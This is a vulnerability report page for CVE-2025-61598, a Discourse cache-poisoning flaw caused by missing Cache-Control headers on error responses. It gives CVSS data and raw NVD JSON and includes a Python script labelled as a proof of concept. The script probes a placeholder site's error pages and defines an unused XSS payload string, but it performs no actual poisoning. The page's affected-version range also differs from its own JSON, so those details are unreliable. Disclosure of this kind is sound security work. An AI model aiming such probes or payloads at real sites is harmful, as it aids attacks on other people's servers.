Security Vulnerability Report
中文
CVE-2025-61598 CVSS 5.3 MEDIUM

CVE-2025-61598

Published: 2025-10-28 21:15:40
Last Modified: 2025-12-03 16:31:01

Description

Discourse is an open source discussion platform. Version before 3.6.2 and 3.6.0.beta2, default Cache-Control response header with value no-store, no-cache was missing from error responses. This may caused unintended caching of those responses by proxies potentially leading to cache poisoning attacks. This vulnerability is fixed in 3.6.2 and 3.6.0.beta2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:stable:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:beta:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:3.6.0:beta1:*:*:beta:*:*:* - VULNERABLE
Discourse < 3.6.2
Discourse 3.6.0.beta2 之前的所有beta版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61598 PoC - Discourse Cache Poisoning # This PoC demonstrates how missing Cache-Control headers can lead to cache poisoning import requests import time TARGET_URL = "https://vulnerable-discourse-instance.com" EVIL_PAYLOAD = "<script>alert('Cache Poisoned - XSS')</script>" def test_cache_poisoning(): """ Test for missing Cache-Control headers in error responses """ # Step 1: Trigger an error response print("[+] Step 1: Triggering error response...") error_urls = [ f"{TARGET_URL}/nonexistent-page-12345", f"{TARGET_URL}/?error_trigger=1", f"{TARGET_URL}/invalid/path/to/trigger/error" ] for url in error_urls: response = requests.get(url) cache_control = response.headers.get('Cache-Control', 'NOT SET') print(f" URL: {url}") print(f" Status: {response.status_code}") print(f" Cache-Control: {cache_control}") # Check if Cache-Control is missing or allows caching if 'no-store' not in cache_control.lower() or 'not set' in cache_control.lower(): print(f" [!] VULNERABLE: Cache-Control header missing or not set to 'no-store'") # Step 2: Simulate cache poisoning by injecting malicious content print("\n[+] Step 2: Simulating cache poisoning...") poisoned_url = f"{TARGET_URL}/error-page" # In real attack, attacker would poison the cache with malicious content # The proxy would cache this response without no-store directive # Step 3: Verify if subsequent requests get cached content print("[+] Step 3: Checking if response can be cached...") response1 = requests.get(poisoned_url) response2 = requests.get(poisoned_url) if response1.text == response2.text: print(" [i] Response is consistent - may be cached") print("\n[!] Note: Full exploitation requires proxy server interaction") print("[!] Attacker needs to poison the proxy cache with malicious content") if __name__ == "__main__": test_cache_poisoning()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61598", "sourceIdentifier": "[email protected]", "published": "2025-10-28T21:15:40.110", "lastModified": "2025-12-03T16:31:01.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open source discussion platform. Version before 3.6.2 and 3.6.0.beta2, default Cache-Control response header with value no-store, no-cache was missing from error responses. This may caused unintended caching of those responses by proxies potentially leading to cache poisoning attacks. This vulnerability is fixed in 3.6.2 and 3.6.0.beta2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-524"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:stable:*:*:*", "versionEndExcluding": "3.5.2", "matchCriteriaId": "DEEB60B8-86DD-4EFF-962F-C44D9FBF6876"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:beta:*:*:*", "versionEndExcluding": "3.6.0", "matchCriteriaId": "4C433F55-3787-4B9E-8028-ED55F6B9056B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:3.6.0:beta1:*:*:beta:*:*:*", "matchCriteriaId": "C11E39E0-7F3D-4DBA-A8AD-7440BCEBB984"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/3ea1b663c82c067e5ca778db846bad1e082ba6cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/fd567af7bf5a15c70772021acbdf5d38487a31bc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-jp9x-wwv6-cv3j", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}